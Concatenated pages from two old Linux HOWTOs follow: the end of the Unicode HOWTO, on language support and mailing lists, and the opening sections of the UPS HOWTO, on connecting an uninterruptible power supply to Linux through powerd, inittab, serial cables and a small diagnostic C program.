Java can display any Unicode characters through its windowing system AWT, provided that 1. you set the Java system property "user.language" appropriately, 2. the /usr/lib/java/lib/font.properties.language font set definitions are appropriate, and 3. the fonts specified in that file are installed. For example, in order to display text containing japanese characters, you would install japanese fonts and run "java -Duser.language=ja ...". You can combine font sets: In order to display western european, greek and japanese characters simultaneously, you would create a combination of the files "font.properties" (covers ISO-8859-1), "font.properties.el" (covers ISO-8859-7) and "font.properties.ja" into a single file. ??This is untested??

The interfaces java.io.DataInput and java.io.DataOutput have methods called `readUTF' and `writeUTF' respectively. But note that they don't use UTF-8; they use a modified UTF-8 encoding: the NUL character is encoded as the two-byte sequence 0xC0 0x80 instead of 0x00, and a 0x00 byte is added at the end. Encoded this way, strings can contain NUL characters and nevertheless need not be prefixed with a length field - the C <string.h> functions like strlen() and strcpy() can be used to manipulate them.

6.3 Lisp

The Common Lisp standard specifies two character types: `base-char' and `character'. It's up to the implementation to support Unicode or not. The language also specifies a keyword argument `:external-format' to `open', as the natural place to specify a character set or encoding.

Among the free Common Lisp implementations, only CLISP http://clisp.cons.org/ supports Unicode. You need a CLISP version from March 2000 or newer. ftp://clisp.cons.org/pub/lisp/clisp/source/clispsrc.tar.gz. The types `base-char' and `character' are both equivalent to 16-bit Unicode. The functions char-width and string-width provide an API comparable to wcwidth() and wcswidth(). The encoding used for file or socket/pipe I/O can be specified through the `:external-format' argument. The encodings used for tty I/O and the default encoding for file/socket/pipe I/O are locale dependent.

Among the commercial Common Lisp implementations:

LispWorks http://www.xanalys.com/software_tools/products/ supports Unicode. The type `base-char' is equivalent to ISO-8859-1, and the type `simple-char' (subtype of `character') contains all Unicode characters. The encoding used for file I/O can be specified through the `:external-format' argument, for example '(:UTF-8). Limitations: Encodings cannot be used for socket I/O. The editor cannot edit UTF-8 encoded files.

Eclipse http://www.elwood.com/eclipse/eclipse.htm supports Unicode. See http://www.elwood.com/eclipse/char.htm. The type `base-char' is equivalent to ISO-8859-1, and the type `character' contains all Unicode characters. The encoding used for file I/O can be specified through a combination of the `:element-type' and `:external-format' arguments to `open'. Limitations: Character attribute functions are locale dependent. Source and compiled source files cannot contain Unicode string literals.

The commercial Common Lisp implementation Allegro CL, in version 6.0, has Unicode support. The types `base-char' and `character' are both equivalent to 16-bit Unicode. The encoding used for file I/O can be specified through the `:external-format' argument, for example :external-format :utf8. The default encoding is locale dependent. More details are at http://www.franz.com/support/documentation/6.0/doc/iacl.htm.

6.4 Ada95

Ada95 was designed for Unicode support and the Ada95 standard library features special ISO 10646-1 data types Wide_Character and Wide_String, as well as numerous associated procedures and functions. The GNU Ada95 compiler (gnat-3.11 or newer) supports UTF-8 as the external encoding of wide characters. This allows you to use UTF-8 in both source code and application I/O. To activate it in the application, use "WCEM=8" in the FORM string when opening a file, and use compiler option "-gnatW8" if the source code is in UTF-8. See the GNAT ( ftp://cs.nyu.edu/pub/gnat/) and Ada95 ( ftp://ftp.cnam.fr/pub/Ada/PAL/userdocs/docadalt/rm95/index.htm) reference manuals for details.

6.5 Python

Python 2.0 ( http://www.python.org/2.0/, http://www.python.org/pipermail/python-announce-list/2000-October/000889.html, http://starship.python.net/crew/amk/python/writing/new-python/new-python.html) contains Unicode support. It has a new fundamental data type `unicode', representing a Unicode string, a module `unicodedata' for the character properties, and a set of converters for the most important encodings. See http://starship.python.net/crew/lemburg/unicode-proposal.txt, or the file Misc/unicode.txt in the distribution, for details.

6.6 JavaScript/ECMAscript

Since JavaScript version 1.3, strings are always Unicode. There is no character type, but you can use the \uXXXX notation for Unicode characters inside strings. No normalization is done internally, so it expects to receive Unicode Normalization Form C, which the W3C recommends. See http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#Unicode for details and http://developer.netscape.com/docs/javascript/e262-pdf.pdf for the complete ECMAscript specification.

6.7 Tcl

Tcl/Tk started using Unicode as its base character set with version 8.1. Its internal representation for strings is UTF-8. It supports the \uXXXX notation for Unicode characters. See http://dev.scriptics.com/doc/howto/i18n.html.

6.8 Perl

Perl 5.6 stores strings internally in UTF-8 format, if you write

use utf8;
at the beginning of your script. length() returns the number of characters of a string. For details, see the Perl-i18n FAQ at http://rf.net/~james/perli18n.html.

Support for other (non-8-bit) encodings is available through the iconv interface module http://cpan.perl.org/modules/by-module/Text/Text-Iconv-1.1.tar.gz.

6.9 Related reading

Tomohiro Kubota has written an introduction to internationalization http://www.debian.org/doc/manuals/intro-i18n/. The emphasis of his document is on writing software that runs in any locale, using the locale's encoding.


The Unicode HOWTO: Other sources of information

 Next Previous Contents

7. Other sources of information

7.1 Mailing lists

Broader audiences can be reached at the following mailing lists.

Note that where I write `at', you should write `@'. (Anti-spam device.)

linux-utf8

Address: linux-utf8 at nl.linux.org

This mailing list is about internationalization with Unicode, and covers a broad range of topics from the keyboard driver to the X11 fonts.

Archives are at http://mail.nl.linux.org/linux-utf8/.

To subscribe, send a message to majordomo at nl.linux.org with the line "subscribe linux-utf8" in the body.

li18nux

Address: linux-i18n at sun.com

This mailing list is focused on organizing internationalization work on Linux, and arranging meetings between people.

To subscribe, fill in the form at http://www.li18nux.org/ and send it to linux-i18n-request at sun.com.

unicode

Address: unicode at unicode.org

This mailing list is focused on the standardization and continuing development of the Unicode standard, and related technologies, such as Bidi and sorting algorithms.

Archives are at ftp://ftp.unicode.org/Public/MailArchive/, but they are not regularly updated.

For subscription information, see http://www.unicode.org/unicode/consortium/distlist.html.

X11 internationalization

Address: i18n at xfree86.org

This mailing list addresses the people who work on better internationalization of the X11/XFree86 system.

Archives are at http://devel.xfree86.org/archives/i18n/.

To subscribe, send mail to the friendly person at i18n-request at xfree86.org explaining your motivation.

X11 fonts

Address: fonts at xfree86.org

This mailing list addresses the people who work on Unicode fonts and the font subsystem for the X11/XFree86 system.

Archives are at http://devel.xfree86.org/archives/fonts/.

To subscribe, send mail to the overworked person at fonts-request at xfree86.org explaining your motivation.


The UPS Howto

Harvey J. Stein, hjstein@bfr.co.il, Berger Financial Research, Ltd.

v2.42, 18 November 1997

This document will help you connect an uninterruptable power supply to a Linux box... if you're lucky... Copyright (c) 1994, 1995, 1996, 1997 by Harvey J. Stein. You may use this document as you see fit, as long as it remains intact. In particular, this notice (along with the contributions below) must remain untouched.

1. Introduction

  • 1.1 Contributors
  • 1.2 Important disclaimer
  • 1.3 Other documents

2. Important note on obsolete information

3. Smart and dumb UPSs.

4. Software

5. Do it yourself guide

  • 5.1 What you need to do (summary)
  • 5.2 How it's supposed to work
  • 5.3 How to set things up
  • 5.4 User Enhancements

6. Hardware notes

  • 6.1 How to make a cable
  • 6.2 Reverse-engineering cables and hacking powerd.c
  • 6.3 Serial port pin assignments
  • 6.4 Ioctl to RS232 correspondence

7. What to do when you're really stuck

8. Info on selected UPSs

  • 8.1 General Experiences.
  • 8.2 Advice 1200 A
  • 8.3 Trust Energy Protector 400/650
  • 8.4 Trust UPS 400-A
  • 8.5 Sustainer S-40a
  • 8.6 Systel
  • 8.7 Deltec Power, Fiskars Power Systems and Exide.
  • 8.8 Beaver model UB500 UPS
  • 8.9 Sendom
  • 8.10 Best
  • 8.11 GPS1000 from ACCODATA
  • 8.12 TrippLite BC750LAN (Standby UPS)
  • 8.13 APC

9. How to shutdown other machines on the same UPS


The UPS Howto: Introduction

 Next Previous Contents

1. Introduction

This HOWTO covers connecting a UPS to a computer running Linux. The idea is to connect the two in such a way that Linux can shutdown cleanly when the power goes out, and before the UPS's battery gives out.

This includes pointing out the existence of software packages which aid in establishing such communications, and detailing exactly how such communications are carried out. The latter often is unnecessary if you can find a software package that's already been configured for your UPS. Otherwise, you'll have to read on.

To a large extent this document is even more redundant than when I originally wrote it three years ago. All the basic information has always been contained in the powerd man page that comes with the SysVinit package. Whereas three years ago one could commonly find Linux distributions which didn't even include this man page, I don't believe this is the case any longer.

Furthermore, when I first wrote this Howto, there was no software other than powerd.c for Linux/UPS communications and control. Today there are quite afew UPS control packages available in Sunsite's UPS directory.

None the less, I'm continuing to maintain the UPS Howto. Why bother? Well,

  • An additional general overview might help to understand how to connect a Linux system to a UPS, even if it's just the same information written differently.
  • The HOWTO is serving as a repository for UPS specific data - there are many UPSs that haven't yet been incorporated into the general packages.
  • The HOWTO contains additional details that aren't available in other documents.
  • Some of the UPS software packages available in Sunsite's UPS directory seem to be quite sparsely documented. You might need to read this before you can understand how to use them.
  • This thing seems to have a life of it's own now. It's clear when a Howto should be born. It's less clear when it should be put to sleep.

1.1 Contributors

I am forever indebted to those from whom I've received help, suggestions, and UPS specific data. The list includes:

  • Hennus Bergman ( hennus@sky.owl.nl)
  • Charli ( mefistos@impsat1.com.ar)
  • Ciro Cattuto ( Ciro Cattuto)
  • Nick Christenson ( npc@minotaur.jpl.nasa.gov)
  • Lam Dang ( angit@netcom.com)
  • Markus Eiden ( Markus@eiden.de)
  • Dan Fandrich ( dan@fch.wimsey.bc.ca)
  • Ben Galliart ( bgallia@orion.it.luc.edu)
  • Danny ter Haar ( dth@cistron.nl)
  • Christian G. Holtje ( docwhat@uiuc.edu)
  • Raymond A. Ingles ( inglesra@frc.com)
  • Peter Kammer ( pkammer@ics.uci.edu)
  • Marek Michalkiewicz ( ind43@sun1000.ci.pwr.wroc.pl)
  • Jim Ockers ( ockers@umr.edu)
  • Evgeny Stambulchik ( fnevgeny@plasma-gate.weizmann.ac.il)
  • Clive A. Stubbings ( cas@vjet.demon.co.uk)
  • Miquel van Smoorenburg ( miquels@cistron.nl)
  • Slavik Terletsky ( ts@polynet.lviv.ua)
  • Tom Webster ( webster@kaiwan.com)

Note that email addresses appearing below as excerpts from email messages can be out of date. The above is probably out of date too, but some of it's more recent than what's below.

Also, many apologies to anyone whom I've failed to note in this list. Please email me and I'll add you.

1.2 Important disclaimer

I really can't guarantee that any of this will work for you. Connecting a UPS to a computer can be a tricky business. One or the other or both might burn out, blow up, catch fire, or start World War Three. Furthermore, I only have direct experience with the Advice 1200 A UPS, and a 5kva Best Ferrups, and I didn't have to make a cable. So, BE CAREFUL. GATHER ALL INFORMATION YOU CAN ON YOUR UPS. THINK FIRST. DON'T IMPLICITLY TRUST ANYTHING YOU READ HERE OR ANYWHERE ELSE.

On the other hand, I managed to get everything working with my UPSs, without much information from the manufacturer, and without blowing anything up, so it is possible.

1.3 Other documents

This document does not cover the general features and capabilities of UPSs. For that type of information, you might turn to The UPS FAQ. It can also be found at ftp://rtfm.mit.edu/pub/usenet-by-hierarchy/comp/answers/UPS-faq. It is maintained by Nick Christenson ( npc@minotaur.jpl.nasa.gov), but seems to have last been updated in 1995. In email to him, he'd like that you put UPS or UPS FAQ or something along these lines in the Subject line of the message.

There're also more and more UPS manufactures sprouting up on the net. Some of them actually supply useful information on their web sites. A convenient list of UPS manufacturers' web sites is available at The UPS Directory. Said site also has a UPS FAQ.


The UPS Howto: Important note on obsolete information

 Next Previous Contents

2. Important note on obsolete information

I've just discovered that some of the documentation below is obsolete. In particular, the init daemon that comes with the latest sysvinit package is more sophisticated than I've portrayed it to be. Although it seems that the current version is backward compatible with what's written here, it looks like it has some undocumented features which are very important for UPS support.

The control mechanism outlined below only allows powerd to give init one of two messages, namely powerfail or powerok. init runs one command when it receives powerfail, and another when it receives powerok. This leads to complicated powerd logic for dealing with low battery signals and other sorts of special situations.

Newer versions of init (as of version 2.58, it seems) are more sophisticated. These versions can be signaled to run one of three scripts. Thus, init can have a powerfail script for announcing a power outage, a powerfailnow script for doing an immediate shutdown, and a powerok script for halting any pending shutdowns. This is much cleaner than the gyrations one would have to go through with the mechanisms detailed below.

Although most of the discussion here assumes the old init communication method, I just added two new sections where the authors uses the new communcation method. These are sections Trust Energy Protector 400/650 and APC Smart-UPS 700. The former is especially detailed. Both include a powerd.c which signals init to do an immediate shutdown when a low battery signal is received, as well as the relevant /etc/inittab lines to make this work. Other than this, all I can tell you is to look at the source code for init.

Also, for all I know, many of the software packages listed below also use this newer communication method.


The UPS Howto: Smart and dumb UPSs.

 Next Previous Contents

3. Smart and dumb UPSs.

UPSs fall into two categories, which I'll call ``smart'' and ``dumb''. The difference between the two is the amount of information one can get from the UPS and the amount of control one can exert over the UPS.

Dumb UPS

  • Connects to the computer via serial port.
  • Uses modem control lines to communicate with the computer.
  • Can signal whether or not the power is out.
  • Typically can signal whether or not the battery is low.
  • The computer can usually signal the UPS to turn itself off.

Smart UPS

  • Connects to the computer via serial port.
  • Communicates with the computer via normal data transfer through the serial port.
  • Typically has some sort of command language that the computer can use to get various pieces of information from the UPS, to set various operating parameters for the UPS, and to control the UPS (such as turning it off).

Usually smart UPSs can be operated in dumb mode. This is useful because as far as I know, the company which manufactures the most popular smart UPS (namely APC) will only disclose the communication protocol for their UPSs to people who sign a non-disclosure agreement.

As far as I know, the only smart UPS available which is easy to communicate with under Linux are those made by Best. Furthermore, BEST fully documents the smart mode (and the dumb mode) of their UPSs. BEST also supplies source code for programs which can communicate with their UPSs.

All the packages listed in section Software will communicate with a UPS in dumb mode. This is all you really need. The ones specifically for the APC UPSs make various claims as to being usable in smart mode, but I don't know exactly what they permit. A full implementation would give you a pop-up window with all sorts of fun gauges displaying various statistics for the UPS, such as load, internal temperature, fault history, input voltage, output voltage, etc. It seems like the smupsd-0.9-1.i386.rpm package (section Software) approaches this. I'm not sure about the others.

The rest of this document is pretty much confined to configuring your system to work with a dumb UPS. The general idea is about the same with a smart UPS, but the details of how powerd would need to work and what kind of cable you need are different for a smart UPS.


The UPS Howto: Software

 Next Previous Contents

4. Software

Basically, all you need is a working powerd binary, usually found in /sbin/powerd. This is usually part of the SysVinit package. As far as I know, all current Linux distributions include a recent version of SysVinit. Very old versions didn't include powerd.

The only problem you might have is that your cable might not match how powerd is set up, in which case you'll have to either rewire your cable, or pick up a copy of powerd.c and modify it to work with your cable. Or, for that matter, you can always pick up one of the following packages, most of which allow you to configure them to match your cable.

As mentioned, an alternative to using the powerd that comes with the SysVinit package would be to use one of the UPS packages now available. There are many packages currently available to aid in setting up computer/ups communications. None of this was available when I first wrote this Howto, which is why I had to write it. In fact, there's a good chance that you might be able to use one of these software packages, and avoid this Howto entirely!

As of 15 March 1997 or so, Sunsite's UPS directory had quite a few packages available. Other sites seem to have UPS control packages available too. Here's what I've found to date (all but two from sunsite):

Enhanced_APC_BackUPS.tar.gz

A package for controlling APC Smart UPSs. Seems to basically follow the BUPS Howto (included here), but also seems to have some low battery warning support.

Enhanced_APC_UPSD-v1.4.tar.gz

The .lsm file says that it's formerly the above package, but it actually includes the above package as a .tar.gz file inside of this tar.gz file! The documentation is spotty. It seems to support APC UPSs in both smart mode and dumb mode, but I can't be sure.

apcd-0.5.tar.gz

Another package for controlling APC Smart UPSs. Seems to include some sort of master/slave support (i.e. - one machine signals others to shut down when the power goes out). Seems to use the UPS in smart mode, as opposed to via modem signal line toggling.

smupsd-0.9-1.i386.rpm

smupsd-0.9-1.src.rpm

The author ( David E. Myers, dem@netsco.com) writes:

smupsd monitors an APC Smart-UPS[TM] under Red Hat[TM] Linux. Should power fail, smupsd will power down the system and the UPS in an orderly fashion.

smupsd has the following features:

  • Shuts down the system and the UPS based on either remaining UPS battery charge or elapsed time since power failure.
  • UPS parameters can be monitored live from any host with the graphical monitor program upsmon, written in JavaTM].
  • UPS parameters can be logged to a file for analysis and reporting.
  • When additional systems share the same UPS, instances of smupsd running on these systems can read UPS parameters from the one running on the system serially connected to the UPS (master/slave).
  • Network access from remote hosts can be controlled via the /etc/hosts.allow file.

genpower-1.0.1.tgz

A general UPS handling package. Includes configurations for many UPSs - two TrippLite configurations, and three APC configurations. Includes good documentation. A best buy.

powerd-2.0.tar.gz

A replacement for the powerd that comes with the SysVinit package. As opposed to comments included in the documentation it doesn't seem to have been merged into the SysVinit package as of version 2.62. Its advantages are that it can act as a server for other powerds running on other machines (for when you have a network of machines hanging off a single UPS), and it can be configured by config file - the source code doesn't have to be edited and recompiled.

upsd-1.0.tgz

Another replacement for powerd. Seems to be quite comparable in features to powerd-2.0.tar.gz.

checkups.tar

This package is for controlling Best UPSs. It's direct from Best's web site. Includes binaries for lots of unix flavors, but more importantly, it includes source code, so you can try it out under Linux, and if it doesn't work, you can try to fix it. The source code includes both ``basic checkups'' which controls the UPS in dumb mode, and ``advanced checkups'' which is a little more sophisticated - it will signal a shutdown when the UPS says it has X minutes of power remaining instead of just shutting down X minutes after the power goes out. The advanced checkups program also will shut down when the UPS registers various alarms such as High Ambient Temperature, Near Low Battery, Low AC Out, or User Test Alarm.

bestups-0.9.tar.gz

A package that might very well be on sunsite by the time you read this. It's a pair of communications module which works with Best Ferrups UPSs. It operates the UPS in smart mode. It inter-operates well with powerd-2.0 - useful if you have a big Best Ferrups UPS keeping up all the machines on a network.

NOTE - This package has yet to be uploaded to Sunsite. I keep begging the author to finish and upload it, but he has yet to find the time.

LanSafe III

Deltec Electronics (and Exide) sell a software package called LanSafe III. They have a Linux version. It comes with their UPSs. They also say that it works with other UPSs (on the dumb level).

apcupsd-2.8.tar.gz

The author ( Andre Hedrick, hedrick@astro.dyer.vanderbilt.edu) writes:

apcupsd-2.1.tar.gz replaces Enhanced-APC-UPSD.tar.gz

It is a very complete package for APC UPSs. There is support for the entire range of UPSs in their product line. I have now added smart mode signaling to the package and support with APC's own cables or a custom cable if you don't have an APC cable that is supported to date.

smartups-1.1.tgz

From the LSM:

A powerd and an X11 graphing utility which shows you the voltages, frequencies, load percentage and battery level in realtime. The protocol that the "Safeware" software uses, and "Tripplite" UPSs are supported. Source + ELF binaries.

ups.tar.gz

From the LSM:

Program to interact with battery backups (Powerbox UPS).

usvd-2.0.0.tgz

From the LSM:

usvd is a daemon that monitors the state of an uninterrupted power supply and reacts upon state changes (line fail, line back, battery low situations). You can write your own scripts that are called in these cases. It does *not* require SYSVINIT.

Note that I've only glanced at these packages. I haven't used them. We were just about to start using bestups-0.9.tar.gz in conjunction with powerd-2.0.tar.gz, but we never quite got around to it.


The UPS Howto: Do it yourself guide

 Next Previous Contents

5. Do it yourself guide

This discussion is specifically tailored for dumb UPS control. However, most of the process is about the same for dumb UPSs and smart UPSs. The biggest difference is in the details of how the UPS monitoring daemon (typically powerd) communicates with the UPS.

Before doing anything, I suggest the following algorithm:

  • Skim this document.
  • Download and investigate all packages which seem specifically tailored to your UPS.
  • Download and investigate the more generic packages. Note that some of the more generic packages are actually more powerful, better documented, and easier to use than their more specific counterparts.
  • If you still can't get things working, or if points are still unclear, read this document more carefully, and hack away...

5.1 What you need to do (summary)

  • Plug the computer into the UPS.
  • Connect the computer's serial port to the UPS with a special cable.
  • Run powerd (or some sort of equivalent) on the computer.
  • Setup your init to do something reasonable on powerfail and powerok events (like start a shutdown and kill any currently running shutdowns, respectively, for example).

5.2 How it's supposed to work

UPS's job

When the power goes out, the UPS continues to power the computer and signals that the power went out by throwing a relay or turning on an opticoupler on it's control port.

Cable's job

The cable is designed so that when the UPS throws said relay, this causes a particular serial port control line (typically DCD) to go high.

Powerd's job

The powerd daemon monitors the serial port. Keeps raised/lowered whatever serial port control lines the UPS needs to have raised/lowered (typically, DTR must be kept high and whatever line shuts off the UPS must be kept low). When powerd sees the UPS control line go high, it writes FAIL to /etc/powerstatus and sends the init process a SIGPWR signal. (Older versions of powerd and initd wrote to /etc/powerfail.) When the control line goes low again, it writes OK to /etc/powerstatus and sends init a SIGPWR signal.

Init's job (aside from everything else it does)

When it receives a SIGPWR, it looks at /etc/powerstatus. If it contains FAIL it runs the powerfail entry from /etc/inittab. If it contains OK it runs the powerokwait entry from inittab.

5.3 How to set things up

The following presupposes that you have a cable that works properly with powerd. If you're not sure that your cable works (or how it works), see section Reverse-engineering cables and hacking powerd.c for information on dealing with poorly described cables and reconfiguring powerd.c. Sections Serial port pin assignments and Ioctl to RS232 correspondence will also be useful.

If you need to make a cable, see section How to make a cable for the overall details, and the subsection of section Info on selected UPSs that refers to your UPS. The latter might also include information on manufacturer supplied cables. You may want to at least skim all of section Info on selected UPSs because each section has a few additional generally helpful details.

  • Edit /etc/inittab. Put in something like this:
    # What to do when power fails (Halt system & drain battery :):
pf::powerfail:/etc/powerfailscript +5

# If power is back before shutdown, cancel the running shutdown.
pg:0123456:powerokwait:/etc/powerokscript
  • Write scripts /etc/powerfailscript and /etc/powerokscript to shutdown in 5 minutes (or whatever's appropriate) and kill any existing shutdown, respectively. Depending on the version of shutdown that you're using, this will be either so trivial that you'll dispense with the scripts, or be a 1 line bash script, something along the lines of:
        kill `ps -aux | grep "shutdown" | grep -v grep | awk '{print $2}'`
    and you'll keep the scripts. (In case it doesn't come out right, the first single quote on the above line is a backquote, the second and third are single quotes, and the last is also a backquote.)
  • Tell init to re-process the inittab file with the command:
        telinit q
  • Edit rc.local so that powerd gets run upon startup. The syntax is:
        powerd <line>
    Replace <line> with the serial port that the UPS is connected, such as /dev/cua1.
  • Connect computer's serial port to UPS's serial port. DO NOT PLUG THE COMPUTER INTO UPS YET.
  • Plug a light into the UPS.
  • Turn on the UPS and the light.
  • Run powerd.
  • Test the setup:
    • Yank the UPS's plug.
      • Check that the light stays on.
      • Check that /etc/powerfailscript runs.
      • Check that shutdown is running.
    • Plug the UPS back in.
      • Check that the light stays on.
      • Check that /etc/powerokscript runs.
      • Check that /etc/powerfailscript is not running.
      • Check that shutdown is no longer running.
    • Yank the UPS's plug again. Leave it out and make sure that the computer shuts down properly in the proper amount of time.
    • The Dangerous Part. After everything seems to be proper, power down the computer and plug it into the UPS. Run a script that sync's the hard disk every second or so. Simultaneously run a second script that keeps doing a find over your entire hard disk. The first is to make this a little safer and the second is to help draw lots of power. Now, pull the plug on the UPS, check again that shutdown is running and wait. Make sure that the computer shuts down cleanly before the battery on the UPS gives out. This is dangerous because if the power goes out before the computer shuts down, you can end up with a corrupt file system, and maybe even lose all your files. You'll probably want to do a full backup before this test, and set the shutdown time extremely short to begin with.

Congratulations! You now have a Linux computer that's protected by a UPS and will shutdown cleanly when the power goes out!

5.4 User Enhancements

  • Hack powerd.c to monitor the line indicating that the batteries are low. When the batteries get low, do an immediate shutdown.
  • Modify the shutdown procedure so that if it's shutting down in a powerfail situation, then it turns off the UPS after doing everything necessary.


The UPS Howto: Hardware notes

 Next Previous Contents

6. Hardware notes

6.1 How to make a cable

This section is just from messages I've seen on the net. I haven't done it so I can't write from experience. If anyone has, please write this section for me :). See also the message about the GPS1000 contained in section GPS1000 from ACCODATA, not to mention all the UPS specific data in section Info on selected UPSs.

   >From miquels@caution.cistron.nl.mugnet.org Wed Jul 21 14:26:33 1993
   Newsgroups: comp.os.linux
   Subject: Re: UPS interface for Linux?
   From: miquels@caution.cistron.nl.mugnet.org (Miquel van Smoorenburg)
   Date: Sat, 17 Jul 93 18:03:37
   Distribution: world
   Organization: Cistron Electronics.

   In article <1993Jul15.184450.5193@excaliber.uucp>
   joel@rac1.wam.umd.edu (Joel M. Hoffman) writes:
   >I'm in the process of buying a UPS (Uninteruptable Power Supply), and
   >notice that some of them have interfaces for LAN's to signal the LAN
   >when the power fails.
   >
   >Is there such an interface for Linux?
   >
   >Thanks.
   >
   >-Joel
   >(joel@wam.umd.edu)
   >

   When I worked on the last versioon of SysVinit (Now version 2.4),
   I temporarily had a UPS on my computer, so I added support for it.
   You might have seen that in the latest <signal.h> header files there
   is a #define SIGPWR 30 now :-). Anyway, I did not have such a special
   interface but the output of most UPS's is just a relais that makes or breaks
   on power interrupt. I thought up a simple way to connect this to the
   DCD line of the serial port. In the SysVinit package there is a daemon
   called 'powerd' that keeps an eye on that serial line and sends SIGPWR
   to init when the status changes, so that init can do something (such as
   bringing the system down within 5 minutes). How to connect the UPS to
   the serial line is described in the source "powerd.c", but I will
   draw it here for explanation:

                        +------------------------o  DTR
                        |
                      +---+
                      |   | resistor
                      |   | 10 kilo-Ohm
                      |   |
                      +---+                                To serial port.
                        |
          +-----o-------+------------------------o  DCD
          |             |
          o  UPS        |
        \    relais     |
         \              |
          |             |
          +-----o-------+------------------------o  GND

   Nice drawing eh?

   Hope this helps.
   SysVinit can be found on sunsite (and tsx-11 probably) as
   SysVinit2.4.tar.z

   Mike.

   --

   Miquel van Smoorenburg, <miquels@cistron.nl.mugnet.org>
   Ibmio.com: cannot open CONFIG.SYS: file handle broke off.

   >From danny@caution.cistron.nl.mugnet.org Wed Jul 21 14:27:04 1993
   Newsgroups: comp.os.linux
   Subject: Re: UPS interface for Linux?
   From: danny@caution.cistron.nl.mugnet.org (Danny ter Haar)
   Date: Mon, 19 Jul 93 11:02:14
   Distribution: world
   Organization: Cistron Electronics.

   In article <9307174330@caution.cistron.nl.mugnet.org>
   miquels@caution.cistron.nl.mugnet.org (Miquel van Smoorenburg) writes:
   >How to connect the UPS to the serial line is described in the source
   >"powerd.c", but I will draw it here for explanation:

   The drawing wasn't really clear, please use this one in stead !
   >
   >                     +------------------------o  DTR
   >                     |
   >                   +---+
   >                   |   | resistor
   >                   |   | 10 kilo-Ohm
   >                   |   |
   >                   +---+                                To serial port.
   >                     |
   >       +-----o-------+------------------------o  DCD
   >       |
   >       o  UPS
   >     \    relais
   >      \
   >       |
   >       +-----o--------------------------------o  GND
   >

   The DTR is kept high, when the UPS's power input is gone it
   will close the relais . The computer is monitoring
   the DCD input port to go LOW . When this happens it will start a
   shutdown sequence...

   _____
   Danny

   --
   <=====================================================================>
   Danny ter Haar  <dannyth@hacktic.nl> or <danny@cistron.nl.mugnet.org>
   Robins law #103: 'a couple of lightyears can't part good friends'

6.2 Reverse-engineering cables and hacking powerd.c

Try to get documentation for the cables that your UPS seller supplies. In particular find out:

  • What lines need to be kept high.
  • What line(s) turn off the UPS.
  • What lines the UPS toggles to indicate that:
    • Power is out.
    • Battery is low.

You then need to either hack powerd.c appropriately, or use one of the above configurable packages (see the packages genpower-1.0.1.tgz, powerd-2.0.tar.gz, or upsd-1.0.tgz described in section Software). If you use one of the packages, follow the instructions there. If you want to hack powerd.c, keep reading.

If you have trouble getting the above information, or just want to check it (a good idea) the following program might help. It's a hacked version of powerd.c. It allows you to set the necessary port flags from the command line and then monitors the port, displaying the control lines every second. I used it as ``upscheck /dev/cua1 2'' (for example) to set the 2nd bit (DTR) and to clear the other bits. The number base 2 indicates which bits to set, so for example to set bits 1, 2 and 3, (and clear the others) use 7. See the code for details.

Here's the (untested) upscheck.c program. It's untested because I edited the version I originally used to make it clearer, and can't test the new version at the moment.

/*
 * upscheck     Check how UPS & computer communicate.
 *
 * Usage:       upscheck <device> <bits to set>
 *              For example, upscheck /dev/cua4 4 to set bit 3 &
 *              monitor /dev/cua4.
 *
 * Author:      Harvey J. Stein <hjstein@math.huji.ac.il>
 *              (but really just a minor modification of Miquel van
 *              Smoorenburg's <miquels@drinkel.nl.mugnet.org> powerd.c
 *
 * Version:     1.0 19940802
 *
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>

/* Main program. */
int main(int argc, char **argv)
{
  int fd;

/*  These TIOCM_* parameters are defined in <linux/termios.h>, which  */
/*  is indirectly included here.                                      */
  int dtr_bit = TIOCM_DTR;
  int rts_bit = TIOCM_RTS;
  int set_bits;
  int flags;
  int status, oldstat = -1;
  int count = 0;
  int pc;

  if (argc < 2) {
        fprintf(stderr, "Usage: upscheck <device> <bits-to-set>\n");
        exit(1);
  }

  /* Open monitor device. */
  if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
    fprintf(stderr, "upscheck: %s: %s\n", argv[1], sys_errlist[errno]);
    exit(1);}

  /* Get the bits to set from the command line. */
  sscanf(argv[2], "%d", &set_bits);

  while (1) {
    /* Set the command line specified bits (& only the command line */
    /* specified bits).                                             */
    ioctl(fd, TIOCMSET, &set_bits);
    fprintf(stderr, "Setting %o.\n", set_bits);

    sleep(1);

    /* Get the current line bits */
    ioctl(fd, TIOCMGET, &flags);
    fprintf(stderr, "Flags are %o.\n", flags);

/*  Fiddle here by changing TIOCM_CTS to some other TIOCM until    */
/*  this program detects that the power goes out when you yank     */
/*  the plug on the UPS.  Then you'll know how to modify powerd.c. */
    if (flags & TIOCM_CTS)
      {
        pc = 0 ;
        fprintf(stderr, "power is up.\n");
      }
    else
      {
        pc = pc + 1 ;
        fprintf(stderr, "power is down.\n");
      }
    }

  close(fd);
}

6.3 Serial port pin assignments

The previous section presupposes knowledge of the correspondence between terminal signals and serial port pins. Here's a reference for that correspondence, taken from David Tal's ``Frequently Used Cables and Connectors'' document. I'm including a diagram illustrating the connectors, and a table listing the correspondence between pin numbers and terminal line signals.

If you need a general reference for cable wiring, connectors, etc, then David Tal's would be a good one, but I can't seem to locate this document on the net any more. But I've found a good replacement. It's The Hardware Book.

Other useful sites:

  • Yost Serial Device Wiring Standard which contains interesting information on how to use RJ-45 jacks and eight wire cables for all serial port connections.
  • Stokely Consulting for general Unix info, and in particular their Unix Serial Port Resources.
  • Unix Workstation System Administration Education Certification which contains RS-232: Connectors and Cabling

Incidentally, it seems that the Linuxdoc-sgml package still doesn't format tables very well in the html output. If you want to be able to read the following table, you're probably going to have to look at either the DVI version or the plain text version of this document.

Pin Assignment for the Serial Port (RS-232C), 25-pin and 9-pin
DB-25 | DB-9 | Name | EIA | CCITT | DTE-DCE | Description
Pin # | Pin # |  |  |  |  |
1 |  | FG | AA | 101 | --- | Frame Ground/Chassis GND
2 | 3 | TD | BA | 103 | ---> | Transmitted Data, TxD
3 | 2 | RD | BB | 104 | <--- | Received Data, RxD
4 | 7 | RTS | CA | 105 | ---> | Request To Send
5 | 8 | CTS | CB | 106 | <--- | Clear To Send
6 | 6 | DSR | CC | 107 | <--- | Data Set Ready
7 | 5 | SG | AB | 102 | ---- | Signal Ground, GND
8 | 1 | DCD | CF | 109 | <--- | Data Carrier Detect
9 |  | -- | -- | - | - | Positive DC test voltage
